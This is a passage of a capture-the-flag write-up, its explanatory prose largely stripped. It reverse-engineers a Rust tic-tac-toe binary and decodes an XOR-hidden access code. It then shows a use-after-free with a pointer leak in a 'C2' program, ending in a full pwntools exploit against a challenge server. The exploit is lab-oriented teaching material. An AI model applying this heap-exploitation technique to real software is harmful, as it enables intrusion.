  int v75; // [rsp+B0h] [rbp-2A8h]
  int v76; // [rsp+B8h] [rbp-2A0h]
  struct _Unwind_Exception *v77; // [rsp+C0h] [rbp-298h]
  int v78[2]; // [rsp+C8h] [rbp-290h]
  int v80; // [rsp+D8h] [rbp-280h] BYREF
  char v81; // [rsp+DFh] [rbp-279h]
  int v82[6]; // [rsp+E0h] [rbp-278h] BYREF
  _BYTE v83[24]; // [rsp+F8h] [rbp-260h] BYREF
  int v84[2]; // [rsp+110h] [rbp-248h] BYREF
  int v85[2]; // [rsp+118h] [rbp-240h]
  int v86[2]; // [rsp+120h] [rbp-238h]
  __int64 v87; // [rsp+128h] [rbp-230h] BYREF
  __int64 v88; // [rsp+130h] [rbp-228h] BYREF
  int v89; // [rsp+13Ch] [rbp-21Ch] BYREF
  _QWORD v90[3]; // [rsp+140h] [rbp-218h] BYREF
  _QWORD v91[3]; // [rsp+158h] [rbp-200h] BYREF
  _BYTE v92[48]; // [rsp+170h] [rbp-1E8h] BYREF
  _OWORD v93[3]; // [rsp+1A0h] [rbp-1B8h] BYREF
  __int128 v94; // [rsp+1D0h] [rbp-188h] BYREF
  __int128 v95; // [rsp+1E0h] [rbp-178h] BYREF
  __int128 v96; // [rsp+1F0h] [rbp-168h] BYREF
  int v97[2]; // [rsp+200h] [rbp-158h] BYREF
  int v98[2]; // [rsp+208h] [rbp-150h]
  int v99[2]; // [rsp+210h] [rbp-148h]
  int v100[2]; // [rsp+218h] [rbp-140h]
  int v101[2]; // [rsp+220h] [rbp-138h] BYREF
  int v102[4]; // [rsp+228h] [rbp-130h]
  int v103[2]; // [rsp+238h] [rbp-120h]
  _BYTE v104[48]; // [rsp+240h] [rbp-118h] BYREF
  _BYTE v105[48]; // [rsp+270h] [rbp-E8h] BYREF
  _QWORD v106[3]; // [rsp+2A0h] [rbp-B8h] BYREF
  unsigned __int64 v107; // [rsp+2B8h] [rbp-A0h]
  unsigned __int64 v108; // [rsp+2C0h] [rbp-98h] BYREF
  int v109[2]; // [rsp+2C8h] [rbp-90h] BYREF
  __int64 v110; // [rsp+2D0h] [rbp-88h]
  _QWORD v111[2]; // [rsp+2D8h] [rbp-80h] BYREF
  _QWORD v112[3]; // [rsp+2E8h] [rbp-70h] BYREF
  _QWORD v113[2]; // [rsp+300h] [rbp-58h] BYREF
  _QWORD v114[4]; // [rsp+310h] [rbp-48h] BYREF
  __int128 v115; // [rsp+330h] [rbp-28h] BYREF
  __int64 v116; // [rsp+340h] [rbp-18h]

  v80 = a2;
  tictactoe::obfuscate_pattern((int)v82, a2, a3, a4, a5, a6, v37, v40, v43, v46,
 v50, v52, v54, v59, v62, v64);
  alloc::string::String::new(v83);
  v6 = <alloc::vec::Vec<T,A> as core::ops::deref::Deref>::deref(a3);
  v76 = v7;
  v77 = (struct _Unwind_Exception *)v6;
  v8 = core::slice::<impl [T]>::iter(v6, v7);
  v72 = v9;
  v73 = v8;
  v10 = <I as core::iter::traits::collect::IntoIterator>::into_iter(v8, v9);
  v70 = v11;
  v71 = v10;
  *(_QWORD *)v84 = v10;
  *(_QWORD *)v85 = v11;
  while ( 1 )
  {
    *(_QWORD *)v86 = <core::slice::iter::Iter<T> as core::iter::traits::iterator
::Iterator>::next(v84);
    if ( !*(_QWORD *)v86 )
      break;
    v87 = **(_QWORD **)v86;
    v88 = *(_QWORD *)(*(_QWORD *)v86 + 8LL);
    v89 = *(_DWORD *)(*(_QWORD *)v86 + 16LL);
    core::fmt::rt::Argument::new_display(&v94, &v89);
    core::fmt::rt::Argument::new_display(&v95, &v87);
    core::fmt::rt::Argument::new_display(&v96, &v88);
    v93[0] = v94;
    v93[1] = v95;
    v93[2] = v96;
    core::fmt::Arguments::new_v1(v92, &unk_3A5110, v93);
    alloc::fmt::format((unsigned int)v91, (unsigned int)v92);
    v90[0] = v91[0];
    v90[1] = v91[1];
    v90[2] = v91[2];
    v35 = <alloc::string::String as core::ops::deref::Deref>::deref(v90);
    v41 = v36;
    v44 = v35;
    alloc::string::String::push_str(v83, v35, v36);
    core::ptr::drop_in_place<alloc::string::String>(v90);
  }
  v12 = <alloc::string::String as core::ops::deref::Deref>::deref(v82);
  regex::regex::string::Regex::new(
    (int)v101,
    v12,
    v13,
    v14,
    v15,
    v16,
    v38,
    v41,
    v44,
    v47,
    v51,
    v53,
    v55,
    v60,
    v63,
    v65,
    v66,
    v67,
    v68,
    v69,
    v13,
    v12,
    0,
    v70,
    v71,
    v72,
    v73,
    v74,
    v75,
    v76,
    v77,
    a1);
  if ( !*(_QWORD *)v101 )
  {
    v116 = *(_QWORD *)v103;
    v115 = *(_OWORD *)v102;
    core::result::unwrap_failed(aCalledResultUn, 43LL, &v115, &off_3A4EE0, &off_
3A50D0);
  }
  *(_QWORD *)v97 = *(_QWORD *)v101;
  *(_QWORD *)v98 = *(_QWORD *)v102;
  *(_QWORD *)v99 = *(_QWORD *)&v102[2];
  *(_QWORD *)v100 = *(_QWORD *)v103;
  v17 = <alloc::string::String as core::ops::deref::Deref>::deref(v83);
  if ( (regex::regex::string::Regex::is_match(v97, v17, v18) & 1) != 0 )
  {
    v19 = &off_3A5100;
    core::fmt::Arguments::new_const(v104, &off_3A5100);
    std::io::stdio::_print(v104);
    if ( (tictactoe::validate_access_code((int)v104, (int)&off_3A5100, v31, v32,
 v33, v34) & 1) != 0 )
    {
      tictactoe::ask_for_credentials();
      v81 = 1;
    }
    else
    {
      v19 = &off_3A4FE8;
      core::fmt::Arguments::new_const(v105, &off_3A4FE8);
      std::io::stdio::_print(v105);
      v81 = 0;
    }
  }
  else
  {
    v106[0] = <I as core::iter::traits::collect::IntoIterator>::into_iter(0LL, 5
LL);
    v106[1] = v20;
    while ( 1 )
    {
      v21 = core::iter::range::<impl core::iter::traits::iterator::Iterator for 
core::ops::range::Range<A>>::next(v106);
      v61 = v22;
      v106[2] = v21;
      v107 = v22;
      if ( !v21 )
        break;
      v108 = v107;
      if ( v107 >= 5 )
        core::panicking::panic_bounds_check(v108, 5LL, (__int64)&off_3A50E8);
      *(_QWORD *)v109 = core::slice::<impl [T]>::iter(*(_QWORD *)v78 + 20 * v108
, 5LL);
      v110 = v28;
      v19 = (char **)&v80;
      if ( (<core::slice::iter::Iter<T> as core::iter::traits::iterator::Iterato
r>::all(
              (int)v109,
              (int)&v80,
              v28,
              v109[0],
              v29,
              v30,
              (int)v39,
              v42,
              v45,
              v48,
              v28,
              v109[0],
              v56,
              v61) & 1) != 0 )
      {
        v81 = 1;
        goto LABEL_21;
      }
      v111[0] = 0LL;
      v111[1] = 5LL;
      v112[0] = *(_QWORD *)v78;
      v112[1] = &v108;
      v112[2] = &v80;
      v19 = (char **)v112;
      v49 = core::iter::traits::iterator::Iterator::all(v111, v112);
      if ( (v49 & 1) != 0 )
      {
        v81 = 1;
        goto LABEL_21;
      }
    }
    LODWORD(v19) = v78[0];
    v113[0] = 0LL;
    v113[1] = 5LL;
    v58 = core::iter::traits::iterator::Iterator::all(v113, *(_QWORD *)v78, &v80
);
    if ( (v58 & 1) != 0 )
    {
      v81 = 1;
      goto LABEL_21;
    }
    LODWORD(v19) = v78[0];
    v114[0] = 0LL;
    v114[1] = 5LL;
    v57 = core::iter::traits::iterator::Iterator::all(v114, *(_QWORD *)v78, &v80
);
    if ( (v57 & 1) == 0 )
    {
      v81 = 0;
      core::ptr::drop_in_place<regex::regex::string::Regex>((int)v97, v78[0], v2
3, v24, v25, v26, v39, v42);
      core::ptr::drop_in_place<alloc::string::String>(v83);
      core::ptr::drop_in_place<alloc::string::String>(v82);
      return v81 & 1;
    }
    v81 = 1;
  }
LABEL_21:
  core::ptr::drop_in_place<regex::regex::string::Regex>((int)v97, (int)v19, v23,
 v24, v25, v26, v39, v42);
  core::ptr::drop_in_place<alloc::string::String>(v83);
  core::ptr::drop_in_place<alloc::string::String>(v82);
  return v81 & 1;
}
```

 `tictactoe::obfuscate_pattern` 

 `obfuscate`  `pattern`


```c {29-46}
__int64 __fastcall tictactoe::obfuscate_pattern(__int64 a1)
{
  __int64 v1; // rdx
  __int64 v2; // rcx
  __int64 v3; // r8
  __int64 v4; // r9
  __int64 v5; // rax
  __int64 v6; // rdx
  int v7; // esi
  int v8; // edx
  int v9; // ecx
  int v10; // r8d
  int v11; // r9d
  int v13; // [rsp+8h] [rbp-50h]
  __int64 v14; // [rsp+28h] [rbp-30h]
  struct _Unwind_Exception v15; // [rsp+30h] [rbp-28h] BYREF

  v14 = alloc::alloc::exchange_malloc(144LL, 8LL);
  if ( (v14 & 7) != 0 )
    core::panicking::panic_misaligned_pointer_dereference(8LL, v14, &off_3A50B8)
;
  if ( !v14 )
    ((void (__fastcall __noreturn *)(char **, __int64, __int64, __int64, __int64
, __int64))core::panicking::panic_null_pointer_dereference)(
      &off_3A50B8,
      8LL,
      v1,
      v2,
      v3,
      v4);
  *(_QWORD *)v14 = aX00;
  *(_QWORD *)(v14 + 8) = 4LL;
  *(_QWORD *)(v14 + 16) = "O:04>";
  *(_QWORD *)(v14 + 24) = 4LL;
  *(_QWORD *)(v14 + 32) = "X:11mode{";
  *(_QWORD *)(v14 + 40) = 4LL;
  *(_QWORD *)(v14 + 48) = "O:13~";
  *(_QWORD *)(v14 + 56) = 4LL;
  *(_QWORD *)(v14 + 64) = aX22;
  *(_QWORD *)(v14 + 72) = 4LL;
  *(_QWORD *)(v14 + 80) = aO31;
  *(_QWORD *)(v14 + 88) = 4LL;
  *(_QWORD *)(v14 + 96) = aX33;
  *(_QWORD *)(v14 + 104) = 4LL;
  *(_QWORD *)(v14 + 112) = "O:40X:44utf8info\";
  *(_QWORD *)(v14 + 120) = 4LL;
  *(_QWORD *)(v14 + 128) = "X:44utf8info\";
  *(_QWORD *)(v14 + 136) = 4LL;
  alloc::slice::<impl [T]>::into_vec(&v15, v14, 9LL);
  v5 = <alloc::vec::Vec<T,A> as core::ops::deref::Deref>::deref(&v15);
  v13 = v6;
  v7 = v5;
  alloc::slice::<impl [T]>::join(a1, v5, v6, 1LL, 0LL);
  core::ptr::drop_in_place<alloc::vec::Vec<&str>>((int)&v15, v7, v8, v9, v10, v1
1, &v15, v13);
  return a1;
}
```

```asm
[...]
.rodata:0000000000080368 aX00            db 'X:00'               ; DATA XREF: ti
ctactoe::obfuscate_pattern+61↓o
.rodata:00000000000823BC aO04            db 'O:04'               ; DATA XREF: ti
ctactoe::obfuscate_pattern+73↓o
.rodata:0000000000082884 aX11            db 'X:11'               ; DATA XREF: ti
ctactoe::obfuscate_pattern+86↓o
.rodata:0000000000081C24 aO13            db 'O:13'               ; DATA XREF: ti
ctactoe::obfuscate_pattern+99↓o
.rodata:000000000008190C aX22            db 'X:22'               ; DATA XREF: ti
ctactoe::obfuscate_pattern+AC↓o
.rodata:0000000000080364 aO31            db 'O:31'               ; DATA XREF: ti
ctactoe::obfuscate_pattern+BF↓o
.rodata:0000000000080654 aX33            db 'X:33'               ; DATA XREF: ti
ctactoe::obfuscate_pattern+D2↓o
.rodata:000000000007FB80 aO40            db 'O:40'               ; DATA XREF: ti
ctactoe::obfuscate_pattern+E5↓o
.rodata:000000000007FB84 aX44            db 'X:44'               ; DATA XREF: ti
ctactoe::obfuscate_pattern+F8↓o
[...]
```

 `QWORD` `aX00``aO31`  `X`
  `O` 



```plaintext
Player O's turn. Enter row and column (0-4): 4 0
X - - - O
- X - O -
- - X - -
- O - X -
O - - - -

Player X's turn. Enter row and column (0-4): 4 4

--- Pattern Recognized! ---

--- Hidden Interface Unlocked ---
Enter Username:
```

Bingo ! 

 `regex::regex::string::Regex::is_match(v97, v17, v18) & 1) !=
 0`  `tictactoe::ask_for_credentials` userna
me便 username 
 Access Code `tictactoe::sha256_hash`  A
ccess Code  `sha256`.

```c ins={115-116} del={128}
__int64 tictactoe::ask_for_credentials()
{
  int v0; // eax
  int v1; // edx
  int v2; // r9d
  __int64 v3; // rax
  __int64 v4; // rdx
  __int64 v5; // rdx
  int v6; // eax
  struct _Unwind_Exception *v7; // rdx
  int v8; // r9d
  __int64 v9; // rax
  __int64 v10; // rdx
  int v11; // eax
  int v12; // edx
  int v13; // edx
  int v14; // ecx
  int v15; // r8d
  int v16; // r9d
  int v18; // [rsp+0h] [rbp-2A8h]
  int v19; // [rsp+0h] [rbp-2A8h]
  int v20; // [rsp+8h] [rbp-2A0h]
  int v21; // [rsp+8h] [rbp-2A0h]
  int v22; // [rsp+10h] [rbp-298h]
  int v23; // [rsp+10h] [rbp-298h]
  int v24; // [rsp+18h] [rbp-290h]
  int v25; // [rsp+18h] [rbp-290h]
  int v26; // [rsp+20h] [rbp-288h]
  int v27; // [rsp+20h] [rbp-288h]
  char v28; // [rsp+28h] [rbp-280h]
  char v29; // [rsp+28h] [rbp-280h]
  struct _Unwind_Exception *v30; // [rsp+30h] [rbp-278h]
  int v31; // [rsp+38h] [rbp-270h]
  int v32[12]; // [rsp+C8h] [rbp-1E0h] BYREF
  _BYTE v33[24]; // [rsp+F8h] [rbp-1B0h] BYREF
  _BYTE v34[24]; // [rsp+110h] [rbp-198h] BYREF
  _BYTE v35[48]; // [rsp+128h] [rbp-180h] BYREF
  __int64 v36; // [rsp+158h] [rbp-150h] BYREF
  __int64 v37; // [rsp+160h] [rbp-148h] BYREF
  _QWORD v38[2]; // [rsp+168h] [rbp-140h] BYREF
  _BYTE v39[48]; // [rsp+178h] [rbp-130h] BYREF
  __int64 v40; // [rsp+1A8h] [rbp-100h] BYREF
  __int64 v41; // [rsp+1B0h] [rbp-F8h] BYREF
  int v42[6]; // [rsp+1B8h] [rbp-F0h] BYREF
  _BYTE v43[48]; // [rsp+1D0h] [rbp-D8h] BYREF
  __int128 v44; // [rsp+200h] [rbp-A8h] BYREF
  __int128 v45; // [rsp+218h] [rbp-90h] BYREF
  _BYTE v46[64]; // [rsp+228h] [rbp-80h] BYREF
  __int64 v47; // [rsp+268h] [rbp-40h]
  __int64 v48[3]; // [rsp+270h] [rbp-38h] BYREF
  __int64 v49; // [rsp+288h] [rbp-20h]
  __int64 v50[3]; // [rsp+290h] [rbp-18h] BYREF

  core::fmt::Arguments::new_const(v32, &off_3A4FF8);
  std::io::stdio::_print(v32);
  alloc::string::String::new(v33);
  alloc::string::String::new(v34);
  core::fmt::Arguments::new_const(v35, &off_3A5008);
  std::io::stdio::_print(v35);
  v36 = std::io::stdio::stdout();
  v49 = <std::io::stdio::Stdout as std::io::Write>::flush(&v36);
  if ( v49 )
  {
    v50[0] = v49;
    core::result::unwrap_failed(aCalledResultUn, 43LL, v50, &off_3A4F00, &off_3A
5018);
  }
  v37 = std::io::stdio::stdin();
  v0 = std::io::stdio::Stdin::read_line(&v37, v33);
  core::result::Result<T,E>::expect(
    v0,
    v1,
    (int)aFailedToReadUs,
    23,
    (int)&off_3A5030,
    v2,
    v18,
    v20,
    v22,
    v24,
    v26,
    v28,
    v30,
    v31);
  v3 = <alloc::string::String as core::ops::deref::Deref>::deref(v33);
  v38[0] = core::str::<impl str>::trim(v3, v4);
  v38[1] = v5;
  core::fmt::Arguments::new_const(v39, &off_3A5048);
  std::io::stdio::_print(v39);
  v40 = std::io::stdio::stdout();
  v47 = <std::io::stdio::Stdout as std::io::Write>::flush(&v40);
  if ( v47 )
  {
    v48[0] = v47;
    core::result::unwrap_failed(aCalledResultUn, 43LL, v48, &off_3A4F00, &off_3A
5058);
  }
  v41 = std::io::stdio::stdin();
  v6 = std::io::stdio::Stdin::read_line(&v41, v34);
  core::result::Result<T,E>::expect(
    v6,
    (int)v7,
    (int)aFailedToReadAc,
    26,
    (int)&off_3A5070,
    v8,
    v19,
    v21,
    v23,
    v25,
    v27,
    v29,
    v7,
    v6);
  v9 = <alloc::string::String as core::ops::deref::Deref>::deref(v34);
  v11 = core::str::<impl str>::trim(v9, v10);
  tictactoe::sha256_hash((int)v42, v11, v12);
  if ( (<alloc::string::String as core::cmp::PartialEq<&str>>::eq(v42, &off_3A4F
88) & 1) == 0 )
  {
    core::ptr::drop_in_place<alloc::string::String>(v42);
    core::fmt::Arguments::new_const(v46, &off_3A5088);
    std::io::stdio::_print(v46);
    std::process::exit(1);
  }
  core::ptr::drop_in_place<alloc::string::String>(v42);
  core::fmt::rt::Argument::new_display(&v45, v38);
  v44 = v45;
  core::fmt::Arguments::new_v1(v43, &off_3A5098, &v44);
  std::io::stdio::_print(v43);
  tictactoe::execute_c2((int)v43, (int)&off_3A5098, v13, v14, v15, v16);
  core::ptr::drop_in_place<alloc::string::String>(v34);
  return core::ptr::drop_in_place<alloc::string::String>(v33);
}
```

```c
__int64 __fastcall tictactoe::sha256_hash(int a1, int a2, int a3)
{
  int v3; // ecx
  int v4; // r8d
  int v5; // r9d
  __int64 result; // rax
  _QWORD *v8; // [rsp+10h] [rbp-178h]
  int v9[2]; // [rsp+18h] [rbp-170h]
  struct _Unwind_Exception *src; // [rsp+20h] [rbp-168h] BYREF
  int v11; // [rsp+28h] [rbp-160h]
  _BYTE v12[32]; // [rsp+90h] [rbp-F8h] BYREF
  _BYTE dest[112]; // [rsp+B0h] [rbp-D8h] BYREF
  _QWORD v14[3]; // [rsp+120h] [rbp-68h] BYREF
  _BYTE v15[48]; // [rsp+138h] [rbp-50h] BYREF
  _QWORD v16[2]; // [rsp+168h] [rbp-20h] BYREF
  _QWORD v17[2]; // [rsp+178h] [rbp-10h] BYREF

  <D as digest::digest::Digest>::new((unsigned int)&src);
  <D as digest::digest::Digest>::update((int)&src, a2, a3, v3, v4, v5, a3, a2, a
1, a1, src, v11);
  memcpy(dest, &src, sizeof(dest));
  <D as digest::digest::Digest>::finalize((unsigned int)v12);
  core::fmt::rt::Argument::new_lower_hex(v17, v12);
  v16[0] = v17[0];
  v16[1] = v17[1];
  core::fmt::Arguments::new_v1(v15, &unk_7B290, v16);
  alloc::fmt::format((unsigned int)v14, (unsigned int)v15);
  result = *(_QWORD *)v9;
  *v8 = v14[0];
  v8[1] = v14[1];
  v8[2] = v14[2];
  return result;
}
```

 `(<alloc::string::String as core::cmp::PartialEq<&str>>::eq(v42, &off_3A4F8
8) & 1) == 0`  `271c6d20f3ba3894199fc3f58b1087130ec340bf85e290b335f8
dd4a09ce802f`  hash  `tictactoe::execute_c2`.

 `sha256`  hash 
……

 `tictactoe::decrypt_key`
……

```c {19-27}
_QWORD *__fastcall tictactoe::decrypt_key(_QWORD *a1)
{
  __int64 v1; // rax
  __int64 v2; // rdx
  __int64 v3; // rax
  __int64 v4; // rdx
  __int64 v5; // rax
  __int64 v6; // rdx
  int v8[6]; // [rsp+60h] [rbp-108h] BYREF
  int v9[6]; // [rsp+78h] [rbp-F0h] BYREF
  int v10[6]; // [rsp+90h] [rbp-D8h] BYREF
  _QWORD v11[3]; // [rsp+A8h] [rbp-C0h] BYREF
  _BYTE v12[48]; // [rsp+C0h] [rbp-A8h] BYREF
  _OWORD v13[3]; // [rsp+F0h] [rbp-78h] BYREF
  __int128 v14; // [rsp+128h] [rbp-40h] BYREF
  __int128 v15; // [rsp+138h] [rbp-30h] BYREF
  __int128 v16; // [rsp+148h] [rbp-20h] BYREF

  v1 = core::slice::<impl [T]>::iter(tictactoe::ENC_PART1);
  core::iter::traits::iterator::Iterator::map(v1, v2);
  core::iter::traits::iterator::Iterator::collect((int)v8);
  v3 = ((__int64 (__fastcall *)(void *, __int64))core::slice::<impl [T]>::iter)(
&tictactoe::ENC_PART2, 7LL);
  core::iter::traits::iterator::Iterator::map(v3, v4);
  core::iter::traits::iterator::Iterator::collect((int)v9);
  v5 = core::slice::<impl [T]>::iter(tictactoe::ENC_PART3);
  core::iter::traits::iterator::Iterator::map(v5, v6);
  core::iter::traits::iterator::Iterator::collect((int)v10);
  core::fmt::rt::Argument::new_display(&v14, v8);
  core::fmt::rt::Argument::new_display(&v15, v9);
  core::fmt::rt::Argument::new_display(&v16, v10);
  v13[0] = v14;
  v13[1] = v15;
  v13[2] = v16;
  core::fmt::Arguments::new_v1(v12, &unk_7AE08, v13);
  alloc::fmt::format((unsigned int)v11, (unsigned int)v12);
  *a1 = v11[0];
  a1[1] = v11[1];
  a1[2] = v11[2];
  core::ptr::drop_in_place<alloc::string::String>(v10);
  core::ptr::drop_in_place<alloc::string::String>(v9);
  core::ptr::drop_in_place<alloc::string::String>(v8);
  return a1;
}
```

 `ENC_PART1``ENC_PART2``ENC_PART3` 

```asm
.rodata:000000000007ADC5 ; tictactoe::ENC_PART1
.rodata:000000000007ADC5 _ZN9tictactoe9ENC_PART117hc9692e3072677d14E db 1Eh
.rodata:000000000007ADC5                                         ; DATA XREF: ti
ctactoe::decrypt_key+11↓o
.rodata:000000000007ADC6                 db  69h ; i
.rodata:000000000007ADC7                 db  3Ch ; <
.rodata:000000000007ADC8                 db  6Bh ; k
.rodata:000000000007ADC9                 db  34h ; 4
.rodata:000000000007ADCA                 db  69h ; i
.rodata:000000000007ADCB                 db  2Eh ; .
.rodata:000000000007ADCC ; tictactoe::ENC_PART2
.rodata:000000000007ADCC _ZN9tictactoe9ENC_PART217h32e32663a27b062dE db  36h ; 6
.rodata:000000000007ADCC                                         ; DATA XREF: ti
ctactoe::decrypt_key+52↓o
.rodata:000000000007ADCD                 db  23h ; #
.rodata:000000000007ADCE                 db  3Bh ; ;
.rodata:000000000007ADCF                 db  6Dh ; m
.rodata:000000000007ADD0                 db  6Bh ; k
.rodata:000000000007ADD1                 db  39h ; 9
.rodata:000000000007ADD2                 db  6Dh ; m
.rodata:000000000007ADD3 ; tictactoe::ENC_PART3
.rodata:000000000007ADD3 _ZN9tictactoe9ENC_PART317ha3eec3bbd5f1dfdbE db 6Eh
.rodata:000000000007ADD3                                         ; DATA XREF: ti
ctactoe::decrypt_key:loc_12DDF1↓o
.rodata:000000000007ADD4                 db  39h ; 9
.rodata:000000000007ADD5                 db  6Dh ; m
.rodata:000000000007ADD6                 db  6Ah ; j
.rodata:000000000007ADD7                 db  69h ; i
.rodata:000000000007ADD8                 db  3Dh ; =
.rodata:000000000007ADD9                 db  3Bh ; ;
.rodata:000000000007ADDA                 db  37h ; 7
.rodata:000000000007ADDB                 db  69h ; i
```

 `core::iter::traits::iterator::Iterator::map`  `cor
e::iter::traits::iterator::Iterator::collect`  `core::fmt::r
t::Argument::new_display` 
 `v13` `core::fmt::Arguments::new_v1` 
 `alloc::fmt::format` `a1` 


 rust `map` 
 `tictactoe::decrypt_key::{{
closure}}` 



```c
__int64 __fastcall tictactoe::decrypt_key::{{closure}}(__int64 a1, _BYTE *a2)
{
  return *a2 ^ 0x5Au;
}
```

 `^ 0x5Au`  `ENC_PART` 
 `ENC_PART` byte 
 Access Code.

 `/tmp/C2_executable` shell 
 flag  pwn ……

 C2  Rust ……

```c del={4}
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  for ( agent = malloc(0x10uLL); ; executeAction(agent) )
  {
    displayMenu();
    processInput();
  }
}
```

```c
__int64 __fastcall executeAction(__int64 (**a1)(void))
{
  return (*a1)();
}
```

for  malloc  `0x10`  `agent`
 `executeAction` `agent`  `__int64 (**a1
)(void)` `__int64`  `(
*a1)()` 



```c
unsigned __int64 getSecret()
{
  FILE *stream; // [rsp+8h] [rbp-D8h]
  char s[200]; // [rsp+10h] [rbp-D0h] BYREF
  unsigned __int64 v3; // [rsp+D8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  stream = fopen("flag.txt", "r");
  if ( stream )
  {
    fgets(s, 200, stream);
    fprintf(stdout, "%sn", s);
    fclose(stream);
  }
  else
  {
    perror("couldn't open flag.txt");
  }
  return v3 - __readfsqword(0x28u);
}
```

 `agent`  `getSecret` 



```c
int processInput()
{
  __int64 UserInput; // rax
  _QWORD *v1; // rbx

  __isoc99_scanf(" %c", option);
  option[0] = toupper(option[0]);
  switch ( option[0] )
  {
    case 'A':
      LODWORD(UserInput) = (_DWORD)agent;
      *agent = beginoperation;
      break;
    case 'C':
      *agent = createAccount;
      puts("===========================");
      puts("Registration Form : ");
      puts("Enter your username: ");
      v1 = agent;
      UserInput = getUserInput();
      v1[1] = UserInput;
      break;
    case 'E':
      LODWORD(UserInput) = (_DWORD)agent;
      *agent = exitProgram;
      break;
    case 'F':
      LODWORD(UserInput) = Hackupdate();
      break;
    case 'H':
      if ( agent )
      {
        LODWORD(UserInput) = (_DWORD)agent;
        *agent = printID;
      }
      else
      {
        LODWORD(UserInput) = puts("Not logged in!");
      }
      break;
    case 'K':
      LODWORD(UserInput) = (_DWORD)agent;
      *agent = Checkstatus;
      break;
    default:
      puts("Invalid option!");
      exit(1);
  }
  return UserInput;
}
```

 `agent` 

 `E`  `agent`  `exitProgram`

```c del={12}
unsigned __int64 exitProgram()
{
  char v1; // [rsp+7h] [rbp-9h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Sure you want to leave the clan (Y/N)? ");
  __isoc99_scanf(" %c", &v1);
  if ( toupper(v1) == 89 )
  {
    puts("Congrats on quitting the revolution");
    free(agent);
  }
  else
  {
    puts("Ok.");
  }
  return v2 - __readfsqword(0x28u);
}
```

 `agent`  `age
nt`  `getSecret` 


 malloc `0x10`  `F` 
 `Hackupdate` 

```c del={6-7}
ssize_t Hackupdate()
{
  void *buf; // [rsp+8h] [rbp-8h]

  puts("How did your previous hack go? ");
  buf = malloc(8uLL);
  return read(0, buf, 8uLL);
}
```

malloc  `0x8`  metadata  `malloc(0x10);` 
 `agent`  `read` 


 PIE 
 `getSecret` 

使 `H` 

```plaintext
Command and Control Centere.
==========================
(H) Generate ID for the agent
(A) Begin a new cyber operation
(C) Create a new Agent
(K) Check status of current cyber operation
(F) Provide updates about your current hack.)
(E) Exit
> H
User ID: 0x5609404d243c
```

 `generateUserID` `printf` 

```c del={3}
int printID()
{
  return printf("User ID: %pn", generateUserID);
}
```

```c {22}
char *generateUserID()
{
  int v0; // eax
  unsigned int i; // [rsp+4h] [rbp-Ch]
  FILE *stream; // [rsp+8h] [rbp-8h]

  if ( !initialized_1 )
  {
    memset(userid_0, 48, sizeof(userid_0));
    stream = fopen("/dev/urandom", "rb");
    if ( stream )
    {
      for ( i = 0; i <= 0x1F; i += 2 )
      {
        v0 = fgetc(stream);
        sprintf(&userid_0[i], "%02hhx", v0);
      }
      fclose(stream);
    }
    initialized_1 = 1;
  }
  return userid_0;
}
```

`generateUserID`  `/dev/urandom`  `0x10`  `userid_0` 
 `userid_0`  64-bit 

 `/dev/urandom` `generateUserID` 
 `userid_0`  `/dev/urandom`  `prin
tf` 使 `%p`  `%s` `userid_0` 
 `.bss`  PIE 
 PIE  PIE 

 exploit 

…… rust 
…… C2  heap ex
ploitationflag 
 challenge ……
…… C2
 heap exploitation 
………… `getUserInput
` ……

 forensicspwn 
. Yan85 VM  challenge 
 rust  rust rust  `unsafe` 

……

 C2





## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = "./tictactoe"
HOST, PORT = "94.237.48.12", 35762

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def decrypt(encrypted):
    return bytes(byte ^ 0x5A for byte in encrypted)


def main():
    target = launch()

    target.sendlineafter(b": ", b"0 0")
    target.sendlineafter(b": ", b"0 4")
    target.sendlineafter(b": ", b"1 1")
    target.sendlineafter(b": ", b"1 3")
    target.sendlineafter(b": ", b"2 2")
    target.sendlineafter(b": ", b"3 1")
    target.sendlineafter(b": ", b"3 3")
    target.sendlineafter(b": ", b"4 0")
    target.sendlineafter(b": ", b"4 4")
    target.sendlineafter(b": ", b"cub3y0nd")

    plaintext = decrypt(b"x1ei<k4i.6#;mk9mn9mji=;7i")
    target.sendlineafter(b": ", plaintext)

    raw_input("DEBUG")
    elf = ELF("/tmp/C2_executable")

    target.sendlineafter(b"> ", b"H")
    target.recvuntil(b"ID: ")

    piebase = int(target.recvline(), 16) - 0x143C

    target.sendlineafter(b"> ", b"E")
    target.sendlineafter(b"? ", b"Y")
    target.sendlineafter(b"> ", b"F")

    payload = flat(piebase + elf.sym["getSecret"], 0)
    target.sendlineafter(b"?", payload)

    target.interactive()


if __name__ == "__main__":
    main()
```